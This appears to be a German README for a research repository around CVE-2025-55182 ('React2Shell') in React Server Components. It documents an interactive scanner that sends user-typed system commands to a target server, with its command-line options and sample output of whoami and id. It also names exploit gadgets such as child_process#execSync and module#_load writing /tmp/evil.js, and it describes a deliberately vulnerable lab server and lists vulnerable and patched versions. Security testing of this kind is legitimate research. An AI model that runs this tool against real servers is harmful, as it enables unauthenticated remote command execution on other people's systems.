
CVE-2025-55182 React RCE Test Program
CVE-2025-55182 React RCE Testprogramm
Dieses Skript ist ein Schwachstellennachweistool für CVE-2025-55182, eine kritische Remote-Code-Ausführungs (RCE) Schwachstelle in React Server Components (RSC) von React 19.x.
Das Tool prüft, ob die Schwachstelle auf einem realen Server existiert, und kann je nach Option Befehle ausführen, Logs erstellen oder auch mit der zweistufigen RCE-Methode (module#_load) testen.
⚠️ Dieses Tool darf ausschließlich in abgeschlossenen Testumgebungen zu Sicherheitsaudit- und Schwachstellennachweiszwecken verwendet werden.
| Punkt | Inhalt |
|---|---|
| Schwachstellennummer | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Schwachstellenname | React2Shell |
| Schwachstellentyp | Remote Code Execution (RCE) – Keine Authentifizierung erforderlich |
| Schweregrad (CVSS) | 10.0 (Kritisch) |
| Entdeckungsdatum | 2025-11-29 (Lachlan Davidson) |
| Angriffskomplexität | Sehr gering (Log4Shell-Niveau) |
| Schwachstellenbeschreibung | Strukturelle RCE-Schwachstelle in Flight-Deserialisierung, bei der über die Klammernotation der requireModule()-Funktion auf die Prototypkette (constructor, __proto__) zugegriffen werden kann |
✅ Projekte mit RSC-Funktionalität müssen zusätzlich zu React auch das
react-server-dom-*Modul zwingend auf die neueste Version aktualisieren, um sicher zu sein.
CVE-2025-55182/
├── README.md # Gesamtübersicht und Scanner-Anleitung
├── DETECTION_RULES.md # Sammlung von Erkennungs-/Blockierungsregeln
├── 설명 및 탐지규칙.md # Erläuterung der Erkennungsregeln auf Koreanisch
├── cve_2025_55182_interactive.py # RCE-Überprüfungs-Scanner-Skript
├── requirements.txt # Abhängigkeitsliste des Scanners
├── setup_vulnerable_env.sh # Skript zur automatischen Installation der anfälligen Umgebung
├── uninstall_vulnerable_env.sh # Skript zur Bereinigung/Entfernung der anfälligen Umgebung
└── vulnerable-react-env/ # Übungscode für den React2Shell-anfälligen Server
├── README.md # Anleitung zur Übungsumgebung
├── package.json # npm-Skripte und Abhängigkeiten
├── server.js # Anfälliges Express-Backend
├── public/
│ └── index.html # CDN-basiertes React-Frontend
└── .gitignore
✅ Interaktives Testen auf RCE-Möglichkeit auf anfälligem Server
✅ Unterstützt child_process#execSync (Standard) oder module#_load-Methode
✅ Speichert Befehlsergebnisse in einer Logdatei
✅ Übergibt vom Benutzer eingegebene Systembefehle an den Server
git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt
Grundlegender RCE-Test (execSync-Methode)
child_process.execSync()python cve_2025_55182_interactive.py http://localhost:3000 --rceZweistufiger RCE-Test (module#_load-Methode)
module#_loadpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoadRSC-basierter RCE-Test (--rce2-Option)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2Speichern der Befehlsergebnisse in einem Log
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.logDer Ordner vulnerable-react-env enthält einen absichtlich anfälligen React + Express-Server, mit dem CVE-2025-55182 reproduziert werden kann.
./setup_vulnerable_env.sh aus. Es installiert apt-Pakete → nvm/Node.js 20 → npm install in einem Durchlauf.cd vulnerable-react-env && npm start oder npm run dev.npm run allein wird nur die Skriptliste angezeigt. Geben Sie unbedingt den Skriptnamen an, z. B. npm start (oder npm run start)../uninstall_vulnerable_env.sh node_modules, moduleLoad-Payloads und (optional) Node 20 und nvm entfernt werden.ERR_MODULE_NOT_FOUND: Cannot find package 'express' führen Sie cd vulnerable-react-env && npm install aus, um node_modules zu installieren, und starten Sie dann npm start erneut.⚠️ Nur für Forschungs-/Bildungszwecke verwenden. Nicht dem Internet aussetzen.
💬 Eingabe des Systembefehls: whoami
✅ Antwortcode: 200
📄 Antwortinhalt: {"success":true,"result":"www-data"}
💬 Eingabe des Systembefehls: id
✅ Antwortcode: 200
📄 Antwortinhalt: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 Eingabe des Systembefehls: exit
👋 Beende.
❌ Niemals in Produktionsumgebungen verwenden.
✅ Dieses Skript darf nur in lokalen Testumgebungen oder isolierten VMs verwendet werden.
🛠️ Die --method moduleLoad-Methode erstellt eine echte Datei unter /tmp/evil.js.
🧾 Bei Verwendung der --log-Option werden die Ausgaben im Klartext gespeichert. Beschränken Sie den Dateizugriff.
🔐 Alle Anfragen überprüfen, ob auf dem anfälligen Server tatsächlich JavaScript-Code ausgeführt wird.
Offizielle CVE: CVE-2025-55182
Exploit-Methoden:
child_process#execSyncvm#runInThisContextfs#writeFileSyncmodule#_loadAngriffsablauf:
/formactionrequireModule() auf dem ServerDieses Projekt wird ausschließlich für Sicherheitsforschung, Audits und Tests bereitgestellt.
Die unbefugte Nutzung auf echten Systemen ist illegal.
Die gesamte rechtliche Verantwortung für die Nutzung dieses Tools liegt beim Benutzer.
| Produkt/Tool | Anfällige Versionen | Gepatchte Versionen |
|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | Wie oben (↑) | Wie oben |
| react-server-dom-parcel | Wie oben (↑) | Wie oben |
| react-server-dom-turbopack | Wie oben (↑) | Wie oben |
| Next.js 14 | Einige Versionen ab 14.3.0.canary.77 | (Inoffiziell) Wechsel auf 15.0.5 oder höher empfohlen |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| Weitere Tools | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin u. a. | Patch der RSC-Abhängigkeit des jeweiligen Projekts erforderlich |
Volle Funktionsnutzung (Methode + Log)
moduleLoad-Methode und Logspeicherung gemeinsam verwendenpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.logDebug-Ausgabe des Payloads
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugsudo apt update && sudo apt install -y curl build-essentialcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start (Standardport: 3000)http://localhost:3000 auf und senden Sie über das Formular _payload und cmdvulnerable-react-env/README.md